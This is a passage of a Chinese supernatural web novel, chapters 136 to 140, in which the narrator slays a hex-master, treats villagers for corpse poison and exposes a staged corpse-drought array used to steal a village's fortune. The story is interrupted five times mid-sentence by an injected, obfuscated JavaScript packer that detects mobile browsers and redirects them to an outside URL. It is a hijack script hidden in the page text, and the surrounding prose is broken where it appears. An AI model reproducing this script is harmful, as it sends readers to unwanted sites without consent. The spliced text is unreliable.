断头鬼身体虚化,瞬间炸成了鬼磷。 “啊!” 这些灵体都是降头师用自己的精血驯养的,断头鬼被灭,他也会受一定的反噬。 趁他分神,我小腿一蹬,合身扑过去。 一记头锥撞击他下巴。 矮个降头师闷哼一声,失去重心倒下,本能地要爬起来。 可惜他没机会了。 军刺就在我脚边,被我顺手一抄,扎进他小腹。 剧烈的痛苦让他疼得直抽搐,瞪大布满血丝的瞳孔,“你敢杀我?” “有什么不敢?” 杀人这种事,就跟女人的初.夜一样,只要破了先例,会越来越随便。 两个没有身份的国外降头师,估计警察都懒得查。 刀尖一送,直至没柄。 他吐出一口老血,怨毒地吼叫一声。 血液并没有消失,反而诡异地凝聚成一点,朝我脑门钻来。 一丝阴戾之气外放,像是某种特殊的精神烙印,狠狠冲击我的大脑。 我好像又被人诅咒了。 第136章 见外 很难描述当时的感觉,那口血液洒在我额头上后,并没有停留在表面,而是直接形成血雾,钻进了大脑。 顿时我感到大脑一凉,好像被冰锥刺中。 随之而来的还有一种强烈的眩晕感,意识也变得十分恍惚,差点站不稳。 好在危急关头,潜意识里浮现出一股意识,替我吸收了这道血气。 我发晕的脑门总算恢复了一丝清凉,耳边却传来落花洞女幸灾乐祸的笑声, “你可真不走远,居然被人下了血降。” “什么血降,难道是和顾老板中的同一种东西?”我有些紧张,扶起了发晕的脑门。 她慢条斯理说,“那倒不至于,这是一种精神烙印,打在身上就去不掉了。” 矮个降头师用生命为代价,在闭眼之前消耗了全部精血,只为在我身上种下精神烙印。 一旦我带上这种烙印出国,被他的同门感知到,肯定会不遗余力追杀我。 靠,原来是这样。 闻言我反倒松了口气,反正自己也不出国。 这时T恤男的战斗也陷入了尾声,随着一声惨叫,我看见高个降头师同样胸口中刀,怨毒地倒在地上。 这两个降头师的近战能力算不上太厉害,对T恤男构不成太大威胁。 他抽出一张纸巾,擦掉匕首上的血迹,皱眉向我走来,“你没事吧?” “没事,只是被小小地诅咒了一下。”我拍了下冰冷的脑门,不想被T恤男看轻。 见我没什么大碍,T恤男就不再理会了。 转回头,他用匕首指向瘫坐在地上的何勇,“这家伙怎么处置?” 我说,“带回去,让黄姐自己决定吧。” T恤男点头说好,马上抽出绳子,打算把何勇捆起来。 何勇拼命抵抗,大声说,“等等,你们凭什么抓我?” 我冷笑一声,“你觉得呢?” 这家伙雇佣外国降头师,谋害自己家人,虽然黄姐的儿子跟他没有血缘关系,可毕竟是名义上的父子。 能下这种毒手,内心不知道多邪恶。 何勇却大声抗争道,“你们根本不知道我在黄家过的什么日子,老婆偷人,儿子也不是亲生的,表面上我是这家的男主人,可地位还不如一个佣人!” “不好意思,我们只负责处理灵异业务,不会关心这些家长里短的事。” T恤男压根不给他废话的机会,找来破布堵住嘴,强行用绳子把人捆起来。 趁着天黑人少,我们把人扛回了汽车。 明叔和王刚也顺利完成任务,把楼上的人解救下来。 万幸的是黄天浩只是被迷晕了,并没有遭到进一步的伤害。 我们抓紧时间返回黄家别墅,黄姐早就在门口等着了,看见儿子的瞬间,她马上哭着扑上来。 至于何勇,则被我们暂时丢进地下车库。 经过明叔的审问,何勇交代了事情经过。 原来他早知道儿子不是亲生的,这些年委曲求全,跟个哈巴狗一样留在黄家,为的是从黄姐的公司窃取更多好处。 可自从儿子长大成年之后,情况有了变化。 黄姐准备把儿子当继承人培养,等到儿子熟悉了公司的业务之后,就把所有事业交给他。 一旦黄姐和顾老板的儿子接管公司,肯定会第一时间清查账目。 何勇在公司干的脏事也会随之曝光。 为了阻止这一切,何勇才买通了菲律宾的降头师,偷偷给黄姐儿子下降。 没想到顾老板会请到我们帮忙。 何勇不甘心,索性一不做二不休,把这两个降头师请到国内,对黄姐儿子实施绑架。 他故意放出消息,把顾老板也引到那栋老楼,是为了把“奸夫”一起做掉。 只是何勇没想到,这两个降头师竟然会被击败,甚至和他闹得反目成仇。 计划失败了,他直接摆出一副死猪不怕开水烫的架势,要求我们给自己个痛快。 我笑笑说,“我们是术士,又不是职业杀手,怎么会随随便便对普通人下手?” 他和黄姐的事属于家庭争端,应该留给两个人自行解决。 我们只负责搞定两个降头师带来的麻烦。 审讯结束后,我把整个事情的经过全都转述给了黄姐。 出于意料,黄姐居然出奇冷静,并没有表现出一幅喊打喊杀的样子。 这段时间发生的事,也引起了黄姐的反思。 在沉默了一段时间后,她表示会放了何勇,并和对方签下离婚协议,要求他净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744029|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身出户。 只要何勇以后不再找自己和儿子的麻烦,黄姐就不会再追究这家伙的责任。 这样也好,冤家宜解不宜结。 事情到了这一步,就算弄死何勇也无济于事。 犯不上为了出一口恶气,就多背一条人命。 至于那两个降头师,尸体已经被T恤男妥善处置,我们也不怕何勇会到处嚷嚷。 毕竟买凶杀人的罪名,他自己也担不起。 在黄家住了两天,等到顾老板的情况稳定之后,我们就买票回了贵阳。 T恤男依旧不肯跟我们走,表示自己在广西还有事情要处理,等他处理完这些私事之后,自然会回去找我们。 我说,“你的事情应该很麻烦吧,需不需要我留下帮忙?” 他直接拒绝了,“我的事,不需要你们插手。” 话说到这个份上,我只能无奈接受。 回去的路上我越想纳闷,自己和T恤男认识快半年了。 印象中这家伙每次出现都摆出一副神秘的样子,哪怕我们成为了朋友,也不肯告诉我任何关于自己的秘密。 说实话,我心情有点沮丧,他好像并没有拿我当真正的朋友。 明叔则安慰道,“你想多了,如果柳凡不拿你当朋友,又怎么会大老远从广西跑来帮我们?” 只是这家伙身世比较特殊,很多事不方便对我们透露。 回到贵阳之后,我又过了一段清闲的日子。 明叔铺子里并不是每天都能接到生意,这一行讲究三年不开张,开张吃三年。 大部分时间我都把自己关在出租房,研究大伯留下的破书。 我迫切地想要提升自己的实力,最起码要像T恤男那样,成为独当一面的术士。 只有这样,才能去寻找极乐棺。 可惜修行的事根本急不来,需要一步一个脚印打基础。 连着两个月下来,丹田下的气旋并没有太大进展。 反倒是老蝙蝠,经过这段时间的修养,元神被壮大了不少。 那天回家,我居然看见它在厨房玩菜刀。 这个发现可把我震惊得够呛,老蝙蝠失去肉身后,一直以灵体的方式陪在我身边。 按理说灵体是不可能拿得起菜刀的。 第137章 烧尸魃 面对我投去的震惊目光,老蝙蝠得意洋洋说,“吃惊吧,其实只要灵体足够强大,就可以影响到实体。” 它目前已经可以举起两三斤重的菜刀,再给它一点时间,或许就能接触我的灵符。 我感叹喂了它这么多只老母鸡,总算是没有白费。 这家伙进步很快,可胃口也相应增大了不少。 一开始只是隔三差五吃鸡,到现在几乎每天都要吃一只,搞得我特别头疼。 再这么下去,估计整个菜市场的母鸡都会被它霍霍干净。 这家伙对于家禽界来说,简直就是一场天灾。 老蝙蝠自己却觉得很委屈,“其实人血比鸡血补多了,你不让我喝人血,我就只能吃鸡。” 我说废话,刚找回一点本事就开始不听话了,要让你喝人血还得了! 训完老蝙蝠,我准备吃点东西,这时候明叔忽然给我打电话。 他说自己要去外面陪客户谈事情,让我去古香斋帮忙守着店铺。 我愣了一下,有些想不明白。 天都快黑了,还守着铺子做什么。 明叔不耐烦说,“让你守就守,哪来这么多废话。” 我只好同意了,谁让丫的是我债主。 去了古香斋,明叔叮嘱我,说晚上会有个客户过来,让我打开库房,让对方自己挑选货物。 对方知道这些货物的价格,让我代收就好。 说完这家伙就急匆匆跑出去打车了,也不知道成天在忙个啥。 我从傍晚守到晚上十点多,一直没等到明叔说的客人。 本以为对方不会来了,我打着哈欠正要关门。 冷不丁却看见街对面出现一个穿着朴素,背影有点驼的中年人,正背着手匆匆赶过来。 这人五十岁左右,头上戴着一顶帽子,两鬓斑白,看上去比真实年龄老得多。 脚下是一双沾着泥土的胶鞋,这年头城市里的人很少穿胶鞋,一看就是乡下来的。 中年人进门就问,“明叔呢?” 我忙说明叔不在,专门叮嘱我在铺子里等你。 他哦了一声,说道,“这老小子怎么隔三差五往外跑,算了,你帮我找个殡灵盒吧。” 殡灵盒是行内人的叫法,一般人都说骨灰盒。 我猜中年人多半也是道上的,便好奇多了句嘴,“老哥怎么称呼,你要殡灵盒干嘛,是家里有亲戚去世了吗?” “我姓宋,你叫我老宋就行。” 中年人只说了自己的姓氏,却没告诉我为什么要买殡灵盒。 我也不奇怪,明叔经常跟一些稀奇古怪的人打交道,干这行的五花八门,什么样式的人都有。 我打开库房,让老宋自己挑选。 他选了一个很旧的木头盒子,上面满是虫蛀的眼,一看就是用过的。 我说,“库房还有很多新的殡灵盒,你要不要选个没用过的?” 老宋愣了下,忽然笑笑,“你新来的呀?” 我点头说,“是新来的,刚在明叔这里还不到四个月。” 他笑笑,从怀里掏出一个塑料袋,打开,里面是两沓百元大钞。 我被震惊到了,这个殡灵盒一看就是二手的,放在市场上都不会有人买。 两百我都嫌多,老宋居然一下掏出了两万。 见我迟疑着不肯收钱,老宋又笑笑,说果然是新来的,连阴物的价格都不知道。 我有点窘迫,挠了挠头,说这种用过的殡灵盒很值钱吗? 我还以为只是破烂而已。 老宋点了一支烟说,“具体要看什么材质和用途了。” 我对老宋的说法表示了好奇,忙问,“那你用殡灵盒究竟是为了干嘛?” 他瞥了我一眼,吐着烟圈说,“你听过烧尸魃吗?” 我心里咯噔了一下。 烧尸魃是流行在民间的一种传说。 据说每逢大旱,超过三个月不下雨的时候,旧社会的人都会烧尸魃。 不过这只是一个传说而已,我从来不觉得这是世界上会存在尸魃这种邪物。 破书上说,尸魃一旦出世,会给方圆几十里内带来严重旱情。 要想让旱情得到缓解,就必须找到尸魃藏身的地方,将它挖出来烧掉。 所以尸魃也算僵尸中的一种。 但既不属于跳僵,也不属于飞僵,而是僵尸变异之后形成的产物。 老宋抽了几口旱烟说,“尸魃这种邪物确实比较少见,但也不是没有。” 上世纪,尤其是战乱年代,河南河北两地究竟会流行关于尸魃的传说。 老宋年轻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745036|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,就曾经在长辈的带领下亲手挖出过一具尸魃。 不过那已经是三十多年前的事了,当时老宋才十几岁,自从烧过一次尸魃后,就再也没遇见过类似的情况。 没想到时隔三十几年,自己又接了一笔类似的业务。 在距离贵阳两百公里外,一个叫龙口村的地方,据说已经超过三个月没下雨。 村民凑钱请老宋去看情况。 他刚到地方就感应到地下有一股很强大的尸气,比自己年轻时挖到的尸魃还要厉害。 老宋怕自己搞不定,才想到打电话给明叔,卖个殡灵盒去震一震尸魃的邪气。 听他这么说,我反倒变得好奇起来。 很想亲眼看看传说中的尸魃到底长什么样。 老宋丢开烟蒂,却只是摇头笑了笑,说烧尸魃有什么好看的,天不早了,早点回家歇着吧。 说完他带上那个殡灵盒离开,我也打了个哈欠准备关门回去睡了。 不料老蝙蝠却忽然从房梁上爬出来说,“这个姓宋的老小子怕是要倒霉。” 我愣了下,说你可乌鸦嘴,无缘无故咒别人干嘛。 老蝙蝠挥了挥小爪子,说你没注意到,这个人进来的时候,身上沾着一股很浓的尸煞气,连脑门天灯都被盖住了, “这是典型的死气夺生之兆。” 我沉默了一下,老蝙蝠虽然没个正形,却不会在生死之事上开玩笑。 刚才店里光线太暗了,我没来得及注意老宋的面相。 既然它这么说了,没准老宋还真有可能出事。 我马上追出店铺,打算提醒老宋小心。 可他腿脚很快,已经坐上面包车离开了。 没辙我只好回来,本想打电话让明叔提醒下老宋,可明叔不知道怎么搞得,居然没接我的电话。 “算了,老蝙蝠看得也不一定准确,还是别讨这个嫌比较好。” 我不是个喜欢多管闲事的人,摇头就决定回去睡了。 隔天上午,明叔才把电话打回来,问我客户昨天来了没有。 我说老宋来过了,顺便把他花两万块买殡灵盒的事情说了,埋怨这老小子报价太黑,一个殡灵盒也收这么多钱。 明叔冷笑说,“那个殡灵盒是用来装荫尸的,只收他两万已经算友情价了。” 第138章 求助 回想起老宋昨晚的话,我马上说,“他说自己带上殡灵盒,是为了赶去一个叫龙口镇的地方烧尸魃,这个世界上真有尸魃?” 明叔打着哈欠说,“怎么你不信,之前不是跟养尸家族的人接触过吗?” 我说养尸家族养的都是跳尸,那玩意连黑毛僵都比不上。 而且人为饲养的邪尸,哪能和自然形成的尸魃比。 有传言说,尸魃一出,赤黄千里,甚至有可能导致好几个省份遭灾。 这种记载实在太夸张了,我一直都不敢信。 明叔嗤笑道,“尸魃有大有小,你说的那种事只会出现在古时候。” 现在是末法时代,天地灵气稀薄,连成精的大妖都少见,更不要说那种会导致赤黄千里的邪煞了。 不过少见不代表没有。 这东西说白了就是成了气候的邪僵,在一些深山大墓还是有可能出现的。 我说,“看来老宋是真要倒霉了,昨晚老蝙蝠给他看过,这家伙死气盖顶,面相很凶险。” 明叔哈哈大笑,说不至于,老宋这个人他了解,属于民间手艺人中比较厉害的那种, “他家祖传是打骨桩的,没少处理这种事,应该不会有问题。” 我说希望吧。 虽然只和老宋见过一次面,但感觉对方是个实诚人,我对他第一印象挺不错。 自然不想老宋出事。 随后我又问明叔去了什么地方,到底啥时候回来。 明叔打了个哈哈,“我在外地帮一个客户处理点事情,估计没个十天半月回不去。” 他让我和王刚好好看着店铺,等自己回来的时候要把账本交上去。 我心里特无语,丫的摆明对我不信任。 这事就这么过去了,接下来几天风平浪静,小日子还算凑合。 直到五天后,那晚我正在做卫生,忽然听到王刚从外面跑来,“林峰,不好了,店门口来了个浑身是血的家伙,你赶紧出来看看。” 我当时就惊了,出门一看,发现老宋胳膊上缠着绷带,正有气无力地靠在门柱子上。 意识已经变得不太清醒。 我去,还真出事了。 我招呼王刚帮忙,赶紧把人抬进来。 检查老宋的伤口,发现他胳膊上出现几道抓痕。 这些抓痕都不深,只是伤口边缘发紫、有着明显的尸毒气息。 “快找糯米,他中尸毒了!”我脸色大变,急忙让王刚去后厨把糯米碾成粉。 对付尸毒的办法是我从破书上学到的,在用糯米的磨粉的时候,我又放出老蝙蝠,让它帮忙抓一条蛇回来。 抓到毒蛇之后,我用小刀挑出蛇胆,配上糯米和几味草药调和,制成特殊的膏药给老宋敷上。 等了半小时,他伤口渗出很多浓黑的血迹,脸色渐渐有了好转。 老宋睁开眼,看见围在身边的我们,疲惫地舒了口气,“谁帮我解的尸毒?” 王刚指了指我,说是他解的。 老宋有些意外,说不是明叔处理的吗? 我摇头说,“明叔去了外地,一直都没回来呢,你这是什么情况?” 老宋看了看胳膊上的抓痕,苦笑说大意了,被村里一个感染了尸毒的家伙个抓伤,然后就变这样了。 我大为吃惊,“你不是说烧尸魃吗,怎么扯到尸毒上去了?” 老宋苦笑,表示这次遇上的尸魃很厉害。 那家伙出现在村子的坎位上,正对回龙口,尸气污染了村里的井水。 村民在不知情的时候喝了井水,好几个人都染了尸毒。 老宋帮一个村民治病的时候,没想到对方忽然发狂,在他胳膊上狠狠抓咬了几下。 一开始老宋还不以为意,觉得伤口只是稍微有点破皮,应该没什么大碍,想不到只过了几个小时,自己胳膊就变得又肿又痒。 他知道明叔可以治疗尸毒,赶紧来这里求助。 没想到尸毒发作这么猛,刚下车就感觉天旋地转,完全是靠着潜意识支撑到这里的。 我着实被吓了一跳,这尸毒也太猛了。 幸好破书上记载了克制尸毒的办法,明叔铺子里又刚好有那几味药材。 否则老宋这条胳膊怕是要废了。 老宋唉声叹气说,“只怪我太大意了,小看地上的东西,没想到殡灵盒根本镇不住它。” 说完老宋又支持着坐起来,“现在村里还有好几个村民的尸毒没有被化解,小哥,能不能麻烦你陪我走一趟?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745037|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个嘛……” 我有点迟疑,自己目前还是个半吊子,并没有独当一面的能力。 连老宋这样的前辈都栽了,我去了能有什么作用? 老宋马上说,“不要你对付尸魃,只要帮忙治好那几个村民就行,放心,我会付给你钱的。” “好吧,我陪你去就是了。” 毕竟是人命关天的大事,如果只是帮村民拔除尸毒,危险性倒不是很大。 我马上让王刚帮忙准备草药,把这些东西装进口袋里,连夜陪老宋出发。 王刚要留下来守店,这次就不跟我去了。 路上我询问起了老宋的经历,他边叹气边说,“这个尸魃道行很深,不知道究竟是什么年代的产物。” 老宋学艺不精,祖上流传的办法根本镇不住它的邪气,反倒让尸魃跑了。 “等等,你说它跑了?” 我顿时倒抽一口凉气,尸魃虽然是成了灵的邪僵,但毕竟是死物,会受到很多限制。 通常是埋在地下不动,只要挖出来烧掉就不会有事。 我还是头一次听说,会有尸魃爬起来逃跑的情况。 除非它成了大气候,已经修炼到飞僵的地步,否则不可能离开养尸地。 老宋说,“那倒不至于,要真是飞僵的话,我也不可能活着出来了。” 老宋自己也说不清,那头尸魃为什么会无缘无故地消失。 之前他明明找到那个养尸地,还围绕养尸地打了九根骨桩。 骨桩可以压邪,尸魃被困在骨桩下面,绝对没有逃离的可能。 可吊诡的是,就在老宋发动村民,要把尸魃挖出来的时候,刨出的土坑下却空空如也。 我不说话了,摸了下胸口的槐木牌,心里已经打起了退堂鼓。 一头可以自行离开养尸地逃跑的尸魃,那得多厉害? 可汽车已经开出了市区,现在后悔也晚了,我只能硬着头皮跟他去龙口镇。 我们离开市区是晚上十点,路上一直在颠簸,道是越走越偏。 尤其是下了镇子后,迎面是一条黄土铺就的小村小道,到处是泥泞的大坑,颠得我屁股蛋子生疼。 两百公里的路,硬是开了五六个小时,到地方一看,我心都凉半截。 第139章 人祸 这村子也太荒了,总共二十几户人家,坐落在大山深处的穷山沟,连网络信号都没有。 刚在车上开了空调,这会儿下了车,顿时感到一股热浪席卷。 好像回到了八九月份。 村口的田土干裂,宽的地方足以插进去一根手指,入眼处遍地焦黄。 所有庄稼都被晒成了干草。 好在这个村子很偏,方圆二十里内没有其他村落。 其次这头尸魃的影响力有限,应该还没有形成大气候,只有这一个村子遭灾。 我脱掉外套,陪老宋进了村。 他尸毒刚解,走得不快,被我搀扶着往村里走。 我说,“老哥,龙口村荒成这样,村民为什么没有搬出去?” 老宋叹气说,“年轻人能搬的都搬了,大部分去了县城打工,只有些年纪比较大的老头老太太不肯走。” 我点点头,老话说故土难离,中国人落叶归根的思想很重。 凡是上了岁数的人都舍不得离开从小长大的地方。 只是村子荒成这样,还闹起了尸魃,留在这里根本就不值当。 很快我们来到了村长家,开门的是个六十来岁的小老头,人很干巴。 老宋替我做了介绍,村长姓李,就是他第一个发现村里气候不对的。 李村长对我的到来表示了欢迎,抓着我的手说,“林大师,你可一定要帮帮我们村子。” 被人一口一个大师叫着,我心里有点过意不去,“村长,你叫我小林好了,我有几个问题想问问你。” 村长赶紧请我坐下,点头说你想问什么都行。 我说,“既然你们村子在闹尸魃,为什么不带领全村人搬出去?” 村长迟疑着说,“不瞒你说,我们村的风水位置一直不错,往年都是风调雨顺,从来没出现过这种问题。” 其次村子后面有个明代的古墓,据说是一位土司族长的墓穴。 村里的人,都是这个土司的后代,他们世代生活在这里,也是为了守住祖陵。 山里人都比较迷信,守着祖陵,相信它一定会庇护后人。 我直接听笑了,祖陵要是真能庇护他们,又怎么可能闹尸魃? 尸魃一出,方圆几十里的山脉灵气都会被抽干,恐怕祖陵已经自身难保。 李村长愁眉苦脸道,“我也闹不清为什么会这样,几年前村里来过一个风水先生,说龙口村的风水不错,后山祖陵对应升龙穴的格局。” 凡是村民死后埋进后山,都能得到龙穴的庇护。 而事实也确实是这样。 虽然村子很破旧,但凡是村里走出去的年轻人,要么学业有成,要么做生意发了大财。 我对李村长的说法充满了怀疑。 升龙穴属于极品宝穴,哪怕帝王将相都未必能享受。 他们这里可能有? 老宋抽了口旱烟说,“老李头说的没错,很多年前我过这里,后山确实有个风水宝地。” 只是不知道出于什么原因,那个风水宝穴的山脉断掉了,龙脊塌陷出一个断层,像是龙脉被什么东西强行斩断了。 听到龙脉被斩的话,我顿时就皱紧了眉头。 到了屋外,我偷偷放出老蝙蝠,借助它的兽眼查看这里的风水地势。 老蝙蝠飞得很高,通过视觉共享,山峦中间的确有一道龙光盘卧,延绵迂回的山体与远山相接,组成了一道龙形支脉。 而村子所处的位置,恰好对应龙口,呈龙抬头的趋势。 怪不得这里叫龙口村。 可正当我准备仔细观察的时候,老蝙蝠却晃晃悠悠地飞回来,哼唧着摆开一个大字,直接罢工不干了。 刚才路上颠簸太久,它有点晕车,飞起来很吃力。 我只好回去,找到李村长,“村里有多少人中了尸毒,赶紧把他们集中起来吧。” 这次我带了不少草药,应该能化解村民的燃眉之急。 在村长的张罗下,村民用担架抬过来五六个病人。 这些村民脸色发青,五官干瘪憔悴,严重的脸上甚至出现了明显的脱水征兆,大部分都意识不清,躺在担架上胡乱哼唧。 我取出草药和糯米调配,在村口架起一口大锅,按照破书上记载的办法熬药。 等汤药熬好之后,我让村长撬开这些村民的嘴巴,依次把药水喝下去。 老宋已经缓过劲来,协助我一起帮村民喂药。 中了尸毒的人神智容易受影响,在喂药的过程中,这些村民不断挣扎,差点抓伤我们。 保险起见,我让村长找来一些草绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752720|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,先把中了尸毒的人绑起来。 李村长紧张兮兮地问我,“我看电视上演的,被尸毒感染的人也会发生病变,有可能跳起来咬人,是不是真的?” 我笑着说不会。 僵尸哪有这么好变? 必须是埋在红沙地,经过长时期的煞气滋养,才有可能变异成煞。 不过染上尸毒的人容易神志不清,万一不慎被抓咬,确实有可能导致感染。 等给村民喂完了药之后,老宋重新找到我说, “小林,你刚才站在村口看了这么久,有没有看出什么门道?” 我扫了眼忙碌中的村民,把老宋带到没人的地方。 确定没人跟着,我才说,“这里的风水灵脉确实很足,按理说不可能出现尸魃。” 老宋皱眉道,“可尸魃不是假的,我是真看见了……” 我摆手说,“你第一次看见尸魃是在哪里,能不能带我去看看?” “行,那你跟我来吧。” 这会儿天已经亮了,老宋马上带着我出发,一瘸一拐进了后山。 在距离村子不足五百米开外的地方,出现了一个山脉的塌陷区,老宋指了指不断往外渗水的塌陷点说, “这里就是龙口村的祖陵,尸魃最早是在这里出现的。” 我皱眉看去,塌陷的祖陵四周,出现了九根桃木打的骨桩。 骨桩的正中间则伫立着一座颇为气派的坟头,应该就是村子的祖陵。 我刚靠近这里,马上感应到地下一股尸气上涌,泥土也变得焦黑。 槐木牌轻轻一震,传来老蝙蝠的提醒, “这个村子的祖陵被人动过,祖陵龙脉应该是被人窃取了。” 我微微点头,刚想撬开地上的泥土检查,却感觉身后有股似有似无的气息正在靠近。 “哟呵,没想到刚来这里就会遇上点心。” 老蝙蝠刚释放出一点气息,那股气息马上就消失了。 老宋一脸惊讶,指着槐木牌说,“你身上怎么会有……” “不说了,跟着那股气息消失的地方去看看,尸魃应该没有走远。” 我打断老宋,朝刚才那股气息出现的位置小跑过去。 这里的风水一看就被动过手脚。 多半是人祸。 第140章 破尸阵 那股气息消失的时间不久,老蝙蝠已经紧紧咬住了它。 刚冲出不远,我就在一片林子前面停下脚步。 老宋气喘吁吁跟上来,小声说,“怎么又不追了?” 我摇头说没必要追,因为尸魃的气息就在这片林子里面。 “啊?”老宋怔了一下,面露怀疑看着我说, “你没开玩笑吧,这片树林和龙口村的祖陵挨得这么近,也就百十来米的距离,如果尸魃真躲在这儿,为什么我感应不出来?” 我笑笑,指了指林边的摆放的几块石头,“有人布阵,遮住了尸魃的气息,你当然找不到。” 破书上记载了不少关于法阵的知识,虽然我学的不全,但勉强能看出一些门道。 尸魃是不可能自己走路的。 肯定是有人趁着老宋不注意的时候,提前把尸魃弄出来,埋进了这片树林。 然后根据树林的环境布阵,遮住了尸魃的气息。 这才给老宋营造出尸魃逃走的假象。 老宋气得咬牙,“你这么一说,还真有可能,可什么人会干出这么无聊的事情?” “呵呵,这个布局的人可一点都不无聊。” 我摇了摇头,把眼珠眯成一道缝。 龙口村的地势,对应传说中的升龙穴。 龙穴又称“帝王穴”,承载着十分厚重的山脉灵气,所以凡是从这里走出去的人,要么学业有成,要么做生意发大财。 显然是有人看中了升龙穴的气运,试图强行霸占它。 所以才伙同风水师,在这里搞出了一个“尸魃阵”。 尸魃一出,不仅会导致方圆几十里变成焦土,更有夺运的效果。 “简单来说,有人利用尸魃借运,把这里的山川灵气全都吸走,然后以尸魃为媒介,转移到另一个人身上。” 我扶着下巴,默默给出分析。 龙口村的大旱,一方面是因为尸魃,另一方面是因为山脉灵气被抽走。 至于村民中尸毒,应该也是有人故意为之,把尸毒下在了唯一的水源里面。 “这个布阵的人用心十分歹毒,他不仅要夺运,还想通过尸毒害死全村的人。” 只有村民们全死光了,消息才能封锁。 老宋被震惊到了,嘴皮不自然地哆嗦几下,看向我的眼神已经充满了佩服, “小林,你才多大岁数啊,居然能一眼看破这些布置,我都不知道该怎么夸你才好。” 我谦虚地摇头,“太客气了,看出这些并不是我一个人的功劳。” 如果不是借助了老蝙蝠的兽眼,我根本就看不到这里的地脉走向。 说起来,老蝙蝠起码占了一大半功劳。 这个念头刚刚浮现出来,老蝙蝠马上就开始嘚瑟,“老大,亏你还知道啊,我也没啥要求,就是……” “吃鸡嘛,理解,回头赏你十只鸡,撑死你算球!” 我打断了老蝙蝠,自顾自往树林里面走。 走了五十多米,我再次停下脚步。 这里的土渍很新,一看就刚被人挖过。 其次土壤表面盖着一层浮土,飘着一股石灰粉的味道。 我跺了跺脚,对老宋说道,“确定了,这里才是尸魃所在的位置。” 老宋把眉头拧成一个川字,还是不太能理解。 因为地面上并没有出现尸气。 我直接蹲下来,用木剑撬开浮土,抓起了一把白灰说,“你看这是什么?” “好像是石灰。”老宋嗅了嗅,眉头皱得更深了。 我点头说,“没错,石灰可以掩盖尸气,只要在掩埋尸魃的地上洒满石灰,外人就很难找到它了。” 老宋瞪大眼睛,“你怎么知道这点?” 我苦笑了下,自己当然知道这点。 几个月前,我为了帮老蝙蝠炼制破雷丹,曾经去过一趟湘西,和一个姓王的养尸有过接触。 用石灰隔绝尸气的办法,就是通过那个养尸家族学会的。 老宋恍然大悟,“那接下来……” “你先走远一点,等我破了这里的布置再说。” 我让老宋退后,自己马上就要装啵伊了。 深吸一口气后,我把手伸进口袋,取出五枚铜钱,按照金木水火土的无形排列方式,分别用铜钱压住尸魃阵的阵眼。 铜钱属金,可以镇压邪气。 五行阵能够镇住尸魃,让它不至于暴起伤人。 所有的办法都是我通过破书学会的,大伯留给我的《玄天经》包罗万象,我只学了几个月,就有了很大的进步。 这还只是《玄天经》上半阙的内容,假如我能凑齐全本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752721|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知道究竟能练到什么地步。 布好铜钱阵之后,我便默默踩罩,感应尸气的掩埋方位。 最终,我来到一棵枯死的柳树下面,取出桃元木剑,笔直地朝下一刺。 噗嗤! 木剑精准地洞穿阵心,一股煞气跟着喷涌出来,直扑我面门。 这是尸魃的死气,普通人一旦被死气盖顶,绝对当场毙命! 但我却一点都不怕。 桃元一震,一股强悍的阳煞气息骤然喷发。 顷刻间地面颤了一下,死气与阳煞之气产生无形的对碰,径直炸出一道浅坑。 浓烟消散,露出了底下的一小截棺木。 